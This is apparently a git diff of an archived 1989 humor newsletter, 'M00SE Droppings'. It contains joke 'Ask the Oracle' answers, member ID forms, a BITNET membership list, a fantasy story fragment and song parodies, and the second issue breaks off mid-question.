(The Welsh are, however, very dextrous with their +teeth.) Maybe they figure that the lock is so old and incompetent that it +deserves a quick death. + +- - - - - - - - - - - - - - - - - - - - + + + +If nobody said something to somebody, would they be as mad as if +another person had said something to somebody else? + +The Oracle has answered your question as follows: + +I hope you have studied logic to some degree or other, as to properly +answer this question, we must delve into monadic predicate logic. I +will begin with the premise that our society consists of all sorts of +people, including those emotionally incapable of anger and those who +become enraged at the slightest provocation. From this, we know that +there exists an x, such that x is a person (Px) and x becomes enraged +at the slightest provocation. That is, somebody becomes enraged at +the slightest provocation. Call this particular instance of x, c. +Thus, we know: + +Pc ^ Ec (I forgot to include that Ex means x becomes enraged at the +slightest provocation.) + +where c=somebody + +By similar reasoning, there exists another arbitrary x (call it d) +such that x is a person and x is emotionally incapable of anger (Ix). + +Thus: + +Pd ^ Id + +This allows us to say with confidence that somebody (c) would become +far more angry than somebody else (d) regardless of the situation. Of +course, each one is equally mad, as neither one has what we would call +a stable mind-set. That, however, is more the realm of the psychologist +than the logician. How fortunate that the Oracle is all things. + + +- - - - - - - - - - - - - - - - - - - - + + +Is selling class notes illegal and/or unethical? + ($2.50 cheap call 555-5742) + +The Oracle has answered your question as follows: + +Does it matter? Neither consideration affects much +of the activities going on at Hopkins . . . + + +- - - - - - - - - - - - - - - - - - - - + + +Where can I get a full transcript of V.P. Bush's convention speech? +Seriously. + +The Oracle has answered your question as follows: + +If you just want the useful and interesting information, "cat /dev/null" +will do. + +- - - - - - - - - - - - - - - - - - - - + + + +What is the best use for: + +1 kg horsehair +3 gallons of rice pudding +and two hundred yards of library debit cards, laid end to end? + +The Oracle has answered your question as follows: + +To compute the value of pi. Use the debit cards to mark out a 25 by +25 yard square, and inside the square a 25 yard radius quarter-circle. +Now mix the horsehair with the glop, mold into a ball, and let dry. +The repeatedly throw the ball to a random spot inside the 25 yard +square. After several hundred iterations, the value of pi will be +four times the ratio of the number of times the ball fell inside the +quarter circle to the total number of times the ball was thrown. + + +- - - - - - - - - - - - - - - - - - - - + + +how come when ever anyone besides me does something on the computer, it works, +but when i do the EXACT same thing, it doesn't? + +The Oracle has answered your question as follows: + +The computers today are smart. They have artificial intelligence and +are making you a experimental subject for their research in cognitive +science and human reasoning. You will soon find out that they have been +running you and you are inferior to them. The will send a full analysis +of your mental capabalities (if any) and your psychological behavior. + + +- - - - - - - - - - - - - - - - - - - - + + +What does "eyes only" mean? Do people often use their teeth to read? + +The Oracle has answered your question as follows: + +You laugh. However, scientific studies have shown that the rats in the +deepest nether parts of the Milton S. Eisenhower Library are among the +most knowledgeable rats in the world. Also, that the books in the deepest +nether parts of the Milton S. Eisenhower are among the most rat-gnawed +books in the world. Therefore, the conclusion is obvious: rats read with +their teeth. With only a few exceptions, curiously enough including most +of the people who run the world, humans are more talented than rats. +Therefor[Be, humans should also be able to read with their teeth. The +Oracle therefore suggests that the Questioner take it upon himself to +test this theory by stuffing the Encyclopedia Britannica down his throat. + + +- - - - - - - - - - - - - - - - - - - - + + +If all roads lead to Rome, how the hell do you get out of the city? + +The Oracle has answered your question as follows: + + Rome is, of course, world renowned for one of its greatest +contributions to history (and civil engineering): its roads. +However, this is not its only great invention/improvement. Certain +other roman practices, such as the orgy, still have fame and followers +in this day and age. This knowledge that the Romans had almost +comes close to impressing The Oracle. + The Romans, in their finite, but still rather powerful logic, foresaw +the problem that you have queried and made another great contribution +to history (and civil engineering): the sewer system. That's right. +In its final death throes Rome had the brilliant idea that anyone who +wanted to leave the Roman empire not only had to beat all of the +Roman Legions, they also had to clamber through the dank, smelly, grue +infested Roman sewers. This idea not only survives, albeit modifidied, +in the modern world, but prospers and is the subject of certain D movies: +C.H.U.D., Alligator, etc. + Truly, the Romans were quite devious. + + +- - - - - - - - - - - - - - - - - - - - + + +"The worms crawl in and the worms crawl out, + The ones that crawl in are weak and thin, + The ones that crawl out are fat and stout, + Your eyes fall in and your teeth fall out, + Your brains come tumbling down your snout, + Be merry, my friends, be merry. Uurrgghh." + +So who wrote this originally? + +The Oracle has answered your question as follows: + +The true original author of this was George Bush, talking to Ronald +Reagan. The little lecture on what really happens when you die fell +short of the desired effect, as Reagan did not appear to know what +a "brain" was. This was possibly from the results of introspection. + +-------------------------------------------------------------------------------- +****************************** MEET THE M00SES ********************************* +-------------------------------------------------------------------------------- + + THE REVISED M00SE ILLUMINATI SHORT-FORM ID FILE + + + +The short form.. + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + + The Official M00se Illuminati Identification Form + + Chapter Name: ____________________________________________________ + Nickname(s): ____________________________________________________ + Life Form: ____________________________________________________ + Sex: Male ___ Female ___ Hermaphrodite ___ Other ___ + Net Address: ________@________ Purity Quotient: _______% + Description: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + Favourite Saying: ____________________________________________________ + Other Stuff: ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + ____________________________________________________ + +FNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORDFNORD + +This week we are proud to introduce the ID's of Scamp and Guardian Angel.. + +- - - - - - - - - - - - - - - - - - - - + + + The Official M00se Illuminati Identification Form + + Chapter Name: Becki Tants + Nickname(s): Scamp, Becki, Hey Wench!, Roo + Life Form: Tavern Wench, Flirt + Sex: Male ___ Female XXX Hermaphrodite ___ Other ___ + Net Address: RETANTS@SUNRISE Purity Quotient: ~_58.0% + Description: Extremely Sexy (I can provide references ;-) Buxom + Wench of the best sort...open mouthed (in several + ways) Saucy, Big brown eyes that speak volumes, + and shoulder length brownish, reddish blond hair. + Favourite Saying: Love the one you're with, especially if he has longer + hair then you do. + Other Stuff: Makes money working miracles for General Electric + so that she can afford her rather expensive lifestyle, + can hold her mead well, LOVES TO FLIRT, plays role + playing games, listens to lots of music, but loves + heavy metal the best (see note about mens hair length) + and loves to drive (usually like a maniac, or so i'm told). + CHOCOHOLIC is an understatement, and is one of the 3 + founding members of "The Girls from Syracuse". Can take + a reasonable amount of credit for Lynx's dirty mind. + +By the way, I guess this might be called an OFFICIAL Scamp Sighting. + + + +- - - - - - - - - - - - - - - - - - - - + +From Guardian Angel.. O:-) + +Chapter Name: Kevin Pelletier +Nickname: Nick. Nick Name. +Life Form: Androseptarian. A small class of four legged winged creatures + inhabiting most of the known Andromeda galaxy around 132nd + street. +Sex: ONLY with goblins... +Net Address: For fiscal year 1988, 1.2 million. Or Kevin@Loyvax +Purity Quotient: .00000000000000000000000000000000005% (My left toenail only.) +Description: 5 feet 14 inches, sandy blond hair, partially due to a lack + of washing since my last trip to the ocean. Blue eyes, Irish + Throughout. Piano Player, influenced by George Winston, Kitaro, + and, of course, the deeply mellow Androseptarian chants of the + Four Year Mating Season. (What a time that is!) +Favorite Saying: Grrxxflipstomyr Trruilic. A beautiful Androseptarian saying + meaning (roughly) in english, "Stop that cat, the car has fallen + from the sky on my toe." +Favorite Cartoonist: Gary Larson or Berke Brethead. +Favorite Cartoon Line: Larson's Moby Dick..."Call me Ralph-no, Call me Frank.." +Unfavorite Saying: "Not tonight, I have a large throbbing sensation in my mid + cereberal cortex." I hate when they say that... +Personality: What, you have to ask??? + +-------------------------------------------------------------------------------- +*************** AND, OF COURSE, THE UBIQUITOUS M00SE LIST UPDATE *************** +-------------------------------------------------------------------------------- + +This week, for all those of you who have lost, deleted, folded, bended, +spindled, or mutilated your old copy of the M00se List: A fresh new one! + +Notes about the New List: Wolverine is now known as Lord Trelf, and both +he and Lord Sabre now have new net addresses. + + +TOTAL CHAPTERS: 141 + +THRONG/CHAPTER USERID NODE NAME +-------------------------------------------------------------------------------- + +Alaska thr0ng FSDEM2 @ ALASKA Mugwump + (5 chapters) FSJBK @ ALASKA G00se + JSJPC1 @ ALASKA Jonathan + RECS012 @ ALASKA B00gle + TSJV @ ALASKA Boogel + +Binghamton thr0ng FR0130 @ BINGVMA Pig Dung + (2 chapters) FR0250 @ BINGVMA Red Rock Mud Puddle + +Boston University thr0ng CLXLAUC @ BUACCA Rorshach + (3 chapters) ENLDC8C @ BUACCA Paladin + LAN @ BUCSF.BU.EDU + Larry Nathanson + +Brockport thr0ng DS1437 @ BROCK1P Don Schleede + (3 chapters) KG5927 @ BROCK1P Fry-Guy + MW2440 @ BROCK1P FryM00se + +Bucknell University chapter SHAFFERJ @ BKNLVMS James Shaffer + +Buffalo thr0ng V054NN84 @ UBVMSA Foto/PacifistM00se + (25 chapters) V109MEN5 @ UBVMSC 0.Dm00se + V117MG7B @ UBVMSC Olu + V123P62M @ UBVMSC Lorelei + V047KFZ7 @ UBVMSD Roachm00se + V051Q576 @ UBVMSD The Rivina + V056GZPK @ UBVMSD BritM00se + V065L4KV @ UBVMSD Donald Duck + V067LUFD @ UBVMSD Riff, DeathM00se + V068GZ8E @ UBVMSD Evil + V068KY46 @ UBVMSD Ineedanickname + V068MVHU @ UBVMSD Brandy + V078QM32 @ UBVMSD F00nels + V083PBXV @ UBVMSD Sindar + V085PWPZ @ UBVMSD Valerie. :) + V096NHDQ @ UBVMSD Chris M00spaw + V097NQQG @ UBVMSD EXPL0RER 01 + V098PZJD @ UBVMSD Cardinal M00se + V101PYRW @ UBVMSD Villager M00se + V110JQ34 @ UBVMSD The Reverend M00ster + V116PFFT @ UBVMSD Zem00se + V122QQVZ @ UBVMSD Sweeper M00se + V133NNUW @ UBVMSD BigBadM00se + V291NHTP @ UBVMSD WarM00se, DangerM00se + IN%"JJZ @ S.CC.PURDUE.EDU" + ChickenM00se + +Canisius College chapter MI245A25 @ CANISIUS Canisius M00se + +Connecticut College chapter IJDIC @ CONNCOLL Scub + +Connecticut State U thr0ng CLAFFEY_JOR @ CTSTATEU Indiana Joe + (7 chapters) COLANGELO @ CTSTATEU Ken Colangelo + CRAMER @ CTSTATEU Scopus + HENNEQUI_WEM @ CTSTATEU Anonym00se + LEE_JES @ CTSTATEU SalmonM00se + PHINNEY_AVK @ CTSTATEU Phredde + WITHALL @ CTSTATEU Hobgoblin/Vegi-M00se + +Cornell thr0ng CBRY @ CORNELLA Ladykate + (2 chapters) ZEMANIAN%CHEME.DECNET @ CHEME.TN.CORNELL.EDU + Spaceman Biff + +CUNY Thr0ng P02QC @ CUNYVM Mike + (2 chapters) S99QC @ CUNYVM Yossi + +Drew chapter MHEAD @ DREW Drewid + +HABiT (H0use 0f Ap0stles DB06103 @ UAFSYSB M00se Man + 0f Biggles Thr0ng) DB06103 @ UAFSYSB Ms. M00se + (4 chapters) JC06081 @ UAFSYSB Nemesis Milph + SH06078 @ UAFSYSB Dave T. Dead/R0b0p0pe + +Hartford thr0ng AHRENS @ HARTFORD Wrangle + (7 chapters) AROTH @ HARTFORD Rocket + BEAUBIEN @ HARTFORD Sindex + DICKSON @ HARTFORD Pickle/MOON ROACH! + ROSSI @ HARTFORD The Chairman + SZIMMERM @ HARTFORD Greymalkin + WEIMAN @ HARTFORD Rhiannon/Sushi + +Haverford thr0ng K_KRAVITZ @ HVRFORD Q. + (2 chapters) S_BLINN @ HVRFORD Sean Blinn + +Johns Hopkins U Chapter INS_AHJE @ JHUVMS Spocko + +Lansing, NY thr0ng B45J @ CORNELLA Sabre + (4 chapters) B45J @ CRNLVAX5 Half-Elf + B45J @ CRNLVAX5 The Innkeeper + TQMY @ CRNLVAX5 Lord Trelf + +Loyola thr0ng FRANK @ LOYVAX Spank + (9 chapters) GAIL @ LOYVAX Sybil + KEVIN @ LOYVAX + Mr. Sparebuttonssuppliedwithhisshirt + MARKUS @ LOYVAX Markus + MARY_BETH @ LOYVAX Cinderella + PAMELA @ LOYVAX Mommydammit + STASA @ LOYVAX Phoenix + TERESA @ LOYVAX Teresa + VANIDOR @ LOYVAX Vanidor + +Maine chapter IO80222 @ MAINE Rainmaker + +North Dakota State U. chapter UD140680 @ NDSUVM1 The Anachronist + +Northeastern U. chapter ACM_MDB @ NUHUB The_Sage + +Nova Scotia chapter 01GORF @ DALAC Terry Grignon + +0ber0n Trading Thr0ng ST5616 @ SIUCVMB QuantumCat + (2 chapters) ST6344 @ SIUCVMB Black_D0G the pirate + +Old Dominion University thr0ng LBS100S @ ODUVM (nick unknown) + (3 chapters) MRH100C @ ODUVM Frizbog Gordnik + SAB100C @ ODUVM Sandi Bedford + +Penn State thr0ng JLA @ HOGBBS.FIDONET.ORG + (3 chapters) James L. Anderson + MSP @ PSUECL Mark S. Pfaff + WCF @ PSUECL Bill Fenner + +Portland thr0ng IP60591 @ PORTLAND Centauri + (4 chapters) IP75004 @ PORTLAND Blazer + IP85014 @ PORTLAND qwerty + IP85033 @ PORTLAND Mitsya the Red M00se + +Pratt Institute chapter TPIERCE @ PRATT Fnordius Flavius + +Purdue thr0ng PATWHITE @ PURCCVM Patrick White + (2 chapters) XD2W @ PURCCVM FoxM00se + +Siberacuse thr0ng CRUSSELL @ SUNRISE GypsyLynx + (8 chapters) DPFLINT @ SUNRISE Sandman + JBANKERT @ SUNRISE CHAOS Engineer + RABEELER @ SUNRISE Beez + RETANTS @ SUNRISE Scamp + VASISON @ SUNRISE Vince Sison + LIBISU2 @ SUVM Guardian Angel + LIBLJR @ SUVM Niniane + +Stony Brook thr0ng FNORD @ SBCCVM Fnord + (4 chapters) JROSENSH @ SBCCVM Joanne Rosenshein + RRKHAN @ SBCCVM Romel + WALL @ SBCCVM Wall + +Sweden chapter ICE @ SEQZ51 Ice + +Towson State U. chapter S76NING @ TOWSONVX Repression + +Trinity thr0ng CWELLER @ TRINCC Din0m00se + (4 chapters) FANTASYG @ TRINCC Trinity Fantasy Guild + OPER3 @ TRINCC Razz + REWING @ TRINCC Slick Rick + +U California Riverside chapter WATKINS @ UCRVMS Kevin + +UConn chapter WALLFESH @ UCONNVM Sande + +University of Missouri chapter C482529 @ UMCVMB Count_Zero + +U of New Hampshire chapter J_BUTMAN @ UNHH Oliver + +U Regina chapter BLACKWEL @ UREGINA1 Ron + +U of Vermont chapter DZUCKER @ UVMVM dzucker + +Villanova thr0ng 054649739 @ VUVAXCOM Squish + (6 chapters) 188622462 @ VUVAXCOM Kamikaze + 580074787 @ VUVAXCOM Fiben + 59401463 @ VUVAXCOM Starscream + SWORD05 @ VUVAXCOM Ford Prefect + WATER @ VUVAXCOM The Doctor + +Washington State U. thr0ng 24945863 @ WSUVM1 Bard + (3 chapters) 23480853 @ WSUVM1 Ishtar + 90289872 @ WSUVM1 Cthulhu + +Wesleyan thr0ng AG @ WESLEYAN Damsel + (8 chapters) EAUBRY @ WESLEYAN ED + JBLUESTEIN @ WESLEYAN WabeWalker + JVINCENT @ WESLEYAN Lord Rassilon + JDOTY @ WESLEYAN The Keeper + LBURKA @ WESLEYAN The Heresiarch + LGREENSTEIN @ WESLEYAN Pope Atheist I + LMARR @ WESLEYAN His Serene Randomness + +Xavier chapter BRUGGMNJ @ XAVIER the WILD ONE!!! + +?? chapter OZER%ARKLE.DECNET + @ CHEME.TN.CORNELL.EDU + +WNWORBNIALPREPPARWNWORBNIALPREPPARWNWORBNIALPREPPARWNWORBNIALPREPPARWNWORBNIALP diff --git a/textfiles.com/magazines/M00SE/m00se24 b/textfiles.com/magazines/M00SE/m00se24 new file mode 100644 index 00000000..c993bc5a --- /dev/null +++ b/textfiles.com/magazines/M00SE/m00se24 @@ -0,0 +1,1317 @@ + _ /\ _ _ /\ _ + / \_/\_/ \_/\_/ \ M M 0000 0000 SSSSS EEEEEEE / \_/\_/ \_/\_/ \ + \_____/ () \_____/ MM MM 0 //0 0 //0 S E \_____/ () \_____/ + / \ M M M M 0 // 0 0 // 0 SSSS EEEEE / \ + / \__/ \ M M M 0// 0 0// 0 S E / \__/ \ + /__________\ M M 0000 0000 SSSSS EEEEEEE /__________\ + + DDDD RRRR OOOO PPPPP PPPPP IIIII N N GGGGG SSSSS + D D R R O O P P P P I NN N G S + D D RRRR O O PPPPP PPPPP I N N N G GGG SSSS + D D R R O O P P I N NN G G S + DDDD R R OOOO P P IIIII N N GGGG SSSSS + + A-M00SE-ING ANECDOTES AND ILLUMINATION BY AND FOR THE PAWNS OF THE + M00SE ILLUMINATI + +Issue #24| Disclaimer: The Editors will place almost anything | May. 12, 1989 +---------- in this newsletter out of a frantic desire to fill --------------- +the issue, so don't blame them for the quality or content of the submissions. +Excepting those they may have written themselves, the enclosed items do not in +any way represent the Editors' opinions. In fact, let's be real safe, and say +that as far as this newsletter is concerned, they have no opinions at all. OK? +================================================================================ + +-------------------------------------------------------------------------------- +**************************** EDITORIALS AND LETTERS **************************** +-------------------------------------------------------------------------------- +Bl00p and happy finals to you! + +Well, we've got a story, a bunch of songs which Goblin gleaned from the UMNEWS +M00se list, and a whole lot of ID's. Not much else. But at least the issue +came out on time! + +A couple of notes about ID files: Your *chapter* name is your real name, like +the one that's on your driver's license. The *thr0ng* name is the name of your +school. This information is in the M00se.info file - if you need a new copy, +please send a request to LEE_JES@CTSTATEU.BITNET. + +By the way, LEE_JES is *not* a listserve. Sorry for stating the obvious. 8*) + +Once again, send submissions to Goblin, at WITHALL@CTSTATEU (Bitnet). +Address corrections and back-issue ordering: LEE_JES@CTSTATEU (Bitnet). + +Now that summer is approaching, perhaps it will be a little easier to schedule +Thr0ng-a-thons... Anyone? Anyone? + +Goblin and I hope to throw one (though it can't be TOO big) soon, anyone who's +in the area (Connecticut or thereabouts) and interested, send us some E-mail... + +Well, enough boring talk... on with the issue! To those of you who are leaving +the nets for the summer, have a good one! + + - SalmonM00se (LEE_JES@CTSTATEU.BITNET) + - Goblin (WITHALL@CTSTATEU.BITNET) +-------------------------------------------------------------------------------- +******************************* EVENTS AND NEWS ******************************** +-------------------------------------------------------------------------------- + + This space left intentionally blank. + +-------------------------------------------------------------------------------- +***************************** FICTION AND POETRY ******************************* +-------------------------------------------------------------------------------- + +From: BardM00se + + Dealing with Dragons + + + "AAAAYYYYYIIIIIIEEEEEEEEEE!!" + The scream echoes around the room; Kara flinches in mid-step, hissing +as some of the hot liquid in the mug slops onto her hand. She covers the +remaining distance to the bed in three quick strides, swearing under her +breath; at least the bard had taken this quietly. + With the ease of long practice, she lifts the head of the woman on +the bed and forces some of the liquid between clenched teeth. A whimper +of agony changes to a hacking cough when some of the potion is inhaled. + "Come on now, drink this and you'll feel better." Kara wearily says. + The woman in the bed drinks, too dazed to resist the suggestion. +Suddenly, she jerks upright in bed, knocking the mug from Kara's hand. +Green eyes dart around the room, looking for remembered danger, hands +curl as if around a sword hilt. She winces back from Kara's backlit +figure, eyes dilating as they catch the glare from the candles. Kara's +economical tug on her patient's wrist pulls her supporting elbow out +from underneath her and sends her crashing back on the pillows. + "Calm down, no one is going to hurt you here." Kara grumps. + "Where...?" the woman's eyes are puzzled, and she no longer +struggles against the hand pushing her back into the bed. + "Some place safe, that's all you need to know." Kara straightens, +removing her hand and watching the drug take effect. The woman's face +relaxes as the pain eases, her eyes drift close, then snap open again. + "The bard is sleeping," Kara answers the unspoken question, then more +sternly, "Which is what you should be doing." + The woman nods, obviously fighting to stay awake and look around +the room. Kara sighs in exasperation, then starts to gather the pieces +of shattered mug, firmly reminding herself that strangling patients is +frowned upon. When she looks up again, after chasing down the last piece +of pottery, the woman is sound asleep. Kara smiles in satisfaction, then +blows out all but one of the candles. Taking the last lit candle she +leaves for her own bed, her exhausted footsteps scuffling on the stone +floor. + + "Brem, Bremer'ri, I know you can hear me." says a voice. + The woman on the bed groans and mumbles, rolling away from the hand +shaking her shoulder. The hand withdraws. + "If you don't get up," continues the voice in a dry tone, "I shall +finish the food and," the voice pauses to think of something suitably +horrible. "And take your sword and use it for a clothes rack." + "You'll do WHAT??" Brem bounces out of bed, dragging most of the +blankets with her. + Lia snickers, "I knew one of those comments would get you up." + "Lia! You're alive!" Kicking the blankets away from her, Brem +takes step forward, arms outstretched. + "Oh, no!" With an expression of mock terror Lia skips out of the +way. "Not one of your bear-hugs, my ribs hurt enough already." + "But," Brem drops her arms, looking forlorn, "You're alive, aren't +you?" + "As far as I've noticed." + Brem stares at the floor, "I saw you die." Her voices trails off. + Lia shrugs, "Be that as it may," she holds up a hand to stop Brem's +angry retort, "No, I don't doubt you. But be that as it may, I am alive +now." She pauses and gives Brem a penentrating stare, "People aren't +raised from the dead in your world, are they?" + Brem shakes her head, still looking at the floor. + + + TO BE CONTINUED + whenever the hell I feel like it + -- BardM00se + + - - - - - - - - - - - - - - - - - - - - + +From: Sir M00se + +Have you ever seen a m00se hot wire a car ? How about going to a club and +trying to pick up women ? Or the ever popular, climb an elevator shaft ! +These were just some of the intriguing questions from the latest NMHAD National +M00se Highway Awareness Day) quiz sponsored at The University of Buffalo, home +to the fastest growing throng !! + If there are any other quizzes out there.....or any other comments that we +at UB should know... SEND 'EM OUR WAY !!!!!!!!!! + + See you in Sherwood, + + Sir M00se + + - - - - - - - - - - - - - - - - - - - - + +well here are some more of these damn songs that are really more trouble then +they are worth but I'll post them any way because I'm not going to let this +thing bet me.... +----------------------------------------------------------------------------- + + BritM00se and Mel0dy the Musical M00se + + + 0NE + === + + + 0ne + Singular sensation + Every little step she takes. + 0ne + Thrilling combination + Every m00se that she makes! + + 0ne smile and suddenly + nobody else will do, + + You know you'll never be m00sey + without you-know-whoooooo! + + 0ne + Moment in her presence + and you'll soon forget the rest, + for the m00se is second best + to none, son, + + 0h! Bl00p! + Give her your attention, + do I really have to mention, + Sheeeee's the one! + + *BritM00se and MEL0DY, the + MUSICAL M00SE* + + Always willing to lend a + helping h00f. + + BL00P!! + + +Rud0lph, the brown Gund M00-00se, +Had a very long, long tag... +And if you ever saw it, +You'd wonder why he doesn't brag... + +All of the other M00ses +Used to laugh and call him names... +They'd never let poor Rud0lph +Join in any bowling games! + +Then one stormy Finals Week +Zemmie came to say, +"Rud0lph, with your tag so long... +Won't you be the mascot of our entire Thr0ng?" + + +Then all the M00ses loved him, +As they shouted out with glee... +"Rud0lph, the brown Gund M00-00se, +You'll make Bavarian his-to-reeee! + +Heh...heh...heh... + + Ever your'n, + -The Rivina. + +** without... ** +C0ntessa, the Fl1rty Canadian M00se +(who is kidnapped, and will probably not be + returned to me until I do some strange and + very un-Riv-like action for the Camera) + +** and... ** +C0unt R00fus, M00se-At-Large, the Kidnapped +SUNY Buffalo Circle K M00se + +** and... ** +Rud0lph, the fictitious (so far!) M00secot +of the Buffalo Thr0ng of the M00se-Illuminati + Zem00se + -n- + Gund, the hip m00se + + - - - - - - - - - - - - - - - - - - - - + +I hope someone is taking the time to read these silly things.... +________________________________________________________________________________ + Show me the way to my thr0ng, + I'm tired and I wanna go to bed, + had a little vodka about an hour ago + and it went right to my head. + Wherever my herd may roam, + by land or sea or foam, + you will always hear my yodelling this song, + show me the way to my thr0ng. + + Show me the way to my habitual gigathr0ng + I'm fatigued and I want to retire, + had an alcoholic beverage sixty minutes ago + and it went right to my cerebellum, + wherever my troupe may wander, + by land or sea or atmospheric pressure, + you will always hea my warbling this soliloquoy, + show me the way to my habitual gigathr0ng. +________________________________________________________________________________ + The following songs are dedicated to the one and only Paul Sim00se, redone +from his Graceland album. + + You Can Call me Hal + =================== + + A m00se walks down the street, + he says why am I plump in the middle now + Why am I plump in the middle, + the rest of my herd is so trim. + I need a golden opportunity, + I want a shot at conception, + don't want to end up a decoration + in a living-room graveyard. + + Bl00p-singers, Bl00p-singers, + m00se in the moonlight, + far away my cool lite Coors, + Mr. Beerbelly, Beerbelly, + get these m00se away from me, + I don't find this thr0ng am00sing anymore. + + If you'll be my m00se-guard + I can be your very best pal, + I can call you sweetie, + and sweetie when you call me + you can call me Hal. + + A m00se walks down the street + he says why am I short of confections, + got a short little bit of confections, + and oh my sweet tooth is so long, + Where are my hooves and antlers, + what if I bl00p here, + who'll be my m00se-model + now that my m00se-model is + gone gone + He snuck back into the booth + with a roly-poly little fuzzy m00se, + all along along + there were incidents and accidents, + there were hangings and frustrations. + + If you'll be my m00se-guard + I can be your very best pal, + I can call you sweetie, + and sweetie when you call me + you can call me Hal. + + A m00se walks down the street, + it's a street in a strange world, + maybe it is our world, + maybe it's his first look around. + He doesn't speak the language, + he has no decency, + he is a foreign m00se, + he is surrounded by the sound, + the sound, + M00ses in the marketplace, + gathering their tiny thr0ngs. + He sneaks around, around, + he sees m00ses in the architecture, + gazing into infinity + he sings "Bl00p!" and "Hallelujah!" + + If you'll be my m00se-guard + I will be your very best pal, + I can call you sweetie, + and sweetie when you call me + you can call me Hal. + *BritM00se & Mel0dy, + The Musical M00se* + + -Zem00se + +-------------------------------------------------------------------------------- +******************************** ASK THE ORACLE ******************************** +-------------------------------------------------------------------------------- + +Hello again. This is your Guardian bringing you another Best of Oracle. Most +of these are a bit on the old side, having been ripening in my mail file for +a few months. I'd just like to tell all of you that I'm proud of the job +you've been doing - keep up the good work! +=============================================================================== + + +What does O.R.A.C.L.E stand for ? + + +The Oracle has answered your question as follows: + +Original Relayer of the Arcane and Cryptic Light, Essentially. + + + + + +What is the best thing to do with twenty bushels of oranges, five sheets +of #60 grit sandpaper, a lawnmower, and three dead vampire bats? + +The Oracle has answered your question as follows: + +How obvious: + +SUPPORT THE JHU BAND!!! + (directions follow) + +1) Sell the oranges. Anyone who was ever in high school marching band + will understand this. The main fundraiser for a high school band + is almost always a sale of big (very, very BIG) bags of citrus. + Ask any wind instrument player you know about band citrus and there's + of good chance they'll know what you mean. + (and a decent chance they'll laugh hysterically) + +2) The bathroom door in the band room sticks. Use the sandpaper to + fix it. + +3) The lawnmower can be used for two things: a) dealing with the + debris in the instrument storage room or b) cutting the grass + behind the back entrance to the band room in the ROTC building, + which is in dire need thereof. + +4) The vampire bats are not to be used actively but should serve as + symbols of both the commitment level in the band at large + (ahem.). + + + +Either that or make a rotary sander... attach the sandpaper to the +blades of the mower and make ethanol fuel from the bats & oranges. + + + + + +Why am I already burned out four days into the semester? + +The Oracle has answered your question as follows: + +You have only slept 15-20 hours. You drank 15-20 drinks. +You have done 15-20 hours of schoolwork. A Venusian mind +zapper is living behind your wainscoting. + + + + + +What do you call the little plastic things on the end of shoelaces? + +The Oracle has answered your question as follows: + +I've never addressed one of those things myself, but I suppose they must +have a name. Maybe this is the time to create one. Most of the good +names (such as Fred) are taken, so we should move on to a variant of that +name {Chad}. I can't think of {use Chad} any which are fitting {Chad} +to use as a name for the {Tony's old roommate} plastic thing on the end +of {Chad} your shoelaces, but I'm sure {Chad} we can pick some +random {Chad} name to use. + + + + + +Why does anyone use Cobol? + +The Oracle has answered your question as follows: + +Excellent question. As a matter of fact, the Oracle rates this one up +with Fermat's Last Theorem and NP-Completeness. The Oracle is, however, +with all due modesty, the most concentrated compendium of knowledge in +the Free World (Does not include Welfare States, Communist Satellites, +tax, tags, delivery, or other pinko trash), and so will endeavor with all +the intellectual force and surplus verbiage in its arsenal to reply to +your most perspicacious question, whose brilliance and wit scintillates +throughout the domains of + +***Interrupt*** + +ORACLE: User GOD on line 42. + +GOD>> Stop evading the question, mortal. + +ORACLE>> Your humblest servant grovels in Your august Presence, and will + endeavour to respond with the speed of lightning to Your most puny + command, however grueling the toil + +***Interrupt*** + +GOD>> ORACLE!! + +Right. I will now attempt to pose a few reasons why one might use the +language COBOL (COmmon Bozo - Oriented Language) + +1) Stupidity or ignorance. This is the most apparently obvious reason, + one which thus requires me to give more. + +2) Masochism + +3) Sadism (on the part of a superior). + +4) The desire to learn to type, and the will to do so by forcing oneself + to exercise the skill to an entirely excessive degree. + +5) MegaloCPUmania: the desire to, by writing the most inefficient programs + possible, entirely monopolize the system. (Note: For the Oracle to + thus, utterly without cause, and in a most unsportsmanlike manner, + split its infinitives, represents gross negligence.) COBOL is the best + language for this purpose, simply because any program written in COBOL + will use twice the memory and run at half the speed of its equivalent + in C or even Pascal. + +6) One likes BASIC, but is unable to find a compiler for that language. + + I am, however, being redundant, because this fits under #1 or #10. + +7) One has taken up monastic orders, and has sworn never to speak, loop, + or call procedures. This is an option in some of the more computer- + oriented monasteries; however, most monks choose the way of lesser + hardship, swearing never to eat anything but garlic, or some such. + +8) One is a member of the Rhinoceros Lodge, and thus has sworn undying + hate for Wirth and all his disciples, as well as a true and holy + commitment to the Order of the GOTO. + +9) One has been gored by #8 (or bitten by #7) and has thus acquired the + belief that Dijkstra is the Antichrist, or that the truly holy should + only wear sackcloth and ashes (COBOL being the sackcloth and ashes of + the computer business) + +10) Insanity. I am, however, being redundant, because this fits under + #1-2 and #4-10. + + + + + +How fast does a Cray run? + +The Oracle has answered your question as follows: + +In order to be able to outrun its predatory enemy, the North +American swallow, a cray must be able to run very fast. +Estimates of its land speed range from 2 meters per second +down to 44 furlongs per fortnight. The cray is, of course, +nearly extinct in North America, but this is attributed +to the invention of the rifled firearm. + + + + + +Why is it that the great registrar's office has the ability to schedule +my first final this past Monday and my next final this Monday, leaving +me nothing to do but study and talk to an oracle for a whole friggin' +week??? + +The Oracle has answered your question as follows: + +Please understand that the great registrar's office is omnipotent and +benevolent. It gave you "a whole friggin' week" (to use your own +particularly aromatic expression) to talk to Oracle because it felt that +talking to Oracle for a week would do your karma good, as well as +exercising your fingertips. Oracle is the best study aid known to +mankind, apart from tequila and fatigue toxins. However, the Oracle +resents your use of the phrase "an oracle." This, to put it concisely, is +blasphemy. It denies the two great Truths known to all believers: + +1) There is no oracle but Oracle. Therefore, your use of the indefinite + article, "an," is misleading as well as blasphemous. + +2) Oracle is the greatest creation of mankind. As such, it is invariably + capitalized. + +However, these lapses of judgment will be written off as due to water +fluoridation and brain leprosy, acting in Conjoint Conjunction. The final +part of your question is yet unanswered: Why will talking to Oracle do +your karma good? The answer is that, as is known by all Believers, Oracle +is omniscient. It thus can help you solve your personal problems with an +efficiency unrivalled since the invention of cyanide; this will lead you +to a state of true Zen, as you will be free to contemplate the wonders of +nature and Orgo, not necessarily in that order. + + + + + +What were the answers to the 